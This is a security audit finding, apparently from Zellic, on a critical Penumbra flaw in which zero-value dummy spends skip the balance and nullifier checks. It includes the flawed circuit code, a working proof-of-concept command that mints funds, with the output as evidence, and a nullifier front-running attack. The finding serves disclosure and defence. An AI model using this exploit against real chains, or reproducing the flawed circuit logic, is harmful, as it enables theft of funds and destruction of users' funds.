Assessment reports>Penumbra>Critical findings>Arbitrary balance via dummy spend
Category: Coding Mistakes

Arbitrary balance via dummy spend

Critical Severity
Critical Impact
High Likelihood

Description

When creating a spend proof for a note with zero value, a dummy flag is used so that certain checks in the circuit are skipped:

// Public inputs
let anchor_var = FqVar::new_input(cs.clone(), || Ok(Fq::from(self.public.anchor)))?;
let claimed_balance_commitment_var =
    BalanceCommitmentVar::new_input(cs.clone(), || Ok(self.public.balance_commitment))?;
let claimed_nullifier_var =
    NullifierVar::new_input(cs.clone(), || Ok(self.public.nullifier))?;
let rk_var = RandomizedVerificationKey::new_input(cs.clone(), || Ok(self.public.rk))?;

// We short circuit to true if value released is 0. That means this is a _dummy_ spend.
let is_dummy = note_var.amount().is_eq(&FqVar::zero())?;
// We use a Boolean constraint to enforce the below constraints only if this is not a
// dummy spend.
let is_not_dummy = is_dummy.not();

// Note commitment integrity.
let note_commitment_var = note_var.commit()?;
note_commitment_var.conditional_enforce_equal(&claimed_note_commitment, &is_not_dummy)?;

// Nullifier integrity.
let nullifier_var = NullifierVar::derive(&nk_var, &position_var, &claimed_note_commitment)?;
nullifier_var.conditional_enforce_equal(&claimed_nullifier_var, &is_not_dummy)?;

// ... snip ...

// Check integrity of balance commitment.
let balance_commitment = note_var.value().commit(v_blinding_vars)?;
balance_commitment
    .conditional_enforce_equal(&claimed_balance_commitment_var, &is_not_dummy)?;

The issue is that there is no way for the action handler to know if the note is a dummy spend or not, so if the proof passed, then the supplied balance commitment and nullifier are assumed to be valid.

Impact

Arbitrary generation of funds

As a dummy spend can always have a valid proof generated and validated, an arbitrary balance commitment can be used to generate any amount of funds.

We created the following simple POC to demonstrate the issue,

TxCmd::Pwn => {
    let mut planner = Planner::new(OsRng);
    let view: &mut dyn ViewClient = app
        .view
        .as_mut()
        .context("view service must be initialized")?;
    let self_address = view.address_by_index(AddressIndex::new(0)).await?;
    let rseed = Rseed::generate(&mut OsRng);
    let note = Note::from_parts(
        self_address,
        Value {
            amount: 0u64.into(),
            asset_id: *STAKING_TOKEN_ASSET_ID,
        },
        rseed,
    )?;

    let plan = planner.spend(
        note,
        0.into(),
    ).plan(
            app.view
                .as_mut()
                .context("view service must be initialized")?,
            AddressIndex::new(0),
        )
        .await
        .context("can't build send transaction")?;
    app.build_and_submit_transaction(plan).await?;
}

 // ... snip ...
impl SpendPlan {
    // ... snip ...
    pub fn balance(&self) -> Balance {
        Value {
            amount: 1000000000000u64.into(),
            asset_id: self.note.value().asset_id,
        }
        .into()
    }

which, when submitted, will increase the account's balance by 1000000000000upenumbra:

Balance before:
1001000100.069071penumbra

broadcasting transaction and awaiting confirmation...
transaction broadcast successfully: 8aef5150720af7c11dfc3d06e258684808874b80a6
c770e08ece5e756bfab54d

Balance after:
1002000100.069071penumbra

pcli view tx 8aef5150720af7c11dfc3d06e258684808874b80a6c770e08ece5e756bfab54d
Fee: 0
Expiration Height: 0
Memo Sender: penumbra15xugeart3zu820r2cxjx5fly43zzdkhzgapfmwgcdfs9wn6temxrfzla
v88cczw3cp34q4pzydlfffeqjtyx24peys53cgplnl03pe2aacuwe0pg8qgnuchjfysmdze35awq5g
Memo Text: 


 Tx Action  Description                                                      
 Spend      
 Output     1000000penumbra -> [account 0]

Nullifier griefing

Additionally, since a dummy spend will always pass the proof verification, it is possible for an attacker or malicious validator with access to the mempool to see a pending action, create a dummy spend using the legitimate nullifier, and try to submit it before the original action is included. If they win the race the nullifier will be marked as spent and the user's funds will be lost.

impl ActionHandler for Spend {
    type CheckStatelessContext = TransactionContext;
    async fn check_stateless(&self, context: TransactionContext) -> Result<()> {
        // ... snip ...
        // 3. Check that the proof verifies.
        let public = SpendProofPublic {
            anchor: context.anchor,
            balance_commitment: spend.body.balance_commitment,
            nullifier: spend.body.nullifier,
            rk: spend.body.rk,
        };
        spend
            .proof
            .verify(&SPEND_PROOF_VERIFICATION_KEY, public)
            .context("a spend proof did not verify")?;
        Ok(())
    }

    async fn check_stateful<S: StateRead + 'static>(&self, state: Arc<S>) -> Result<()> {
        // Check that the `Nullifier` has not been spent before.
        let spent_nullifier = self.body.nullifier;
        state.check_nullifier_unspent(spent_nullifier).await
    }

    async fn execute<S: StateWrite>(&self, mut state: S) -> Result<()> {
        let source = state.get_current_source().expect("source should be set");
        state.nullify(self.body.nullifier, source).await;
        // ... snip ...

Recommendations

When dealing with dummy spends, only the Merkle path validity constraint should be skipped (see sections 4.8.2, "Dummy Notes (Sapling)", and 4.17.2, "Spend Statement (Sapling)", in the Zcash protocol specification at https://zips.z.cash/protocol/protocol.pdf↗).

Remediation

This issue has been acknowledged by Penumbra Labs, and a fix was implemented in commit abbe262f↗.

Zellic Ā© 2025Back to top ↑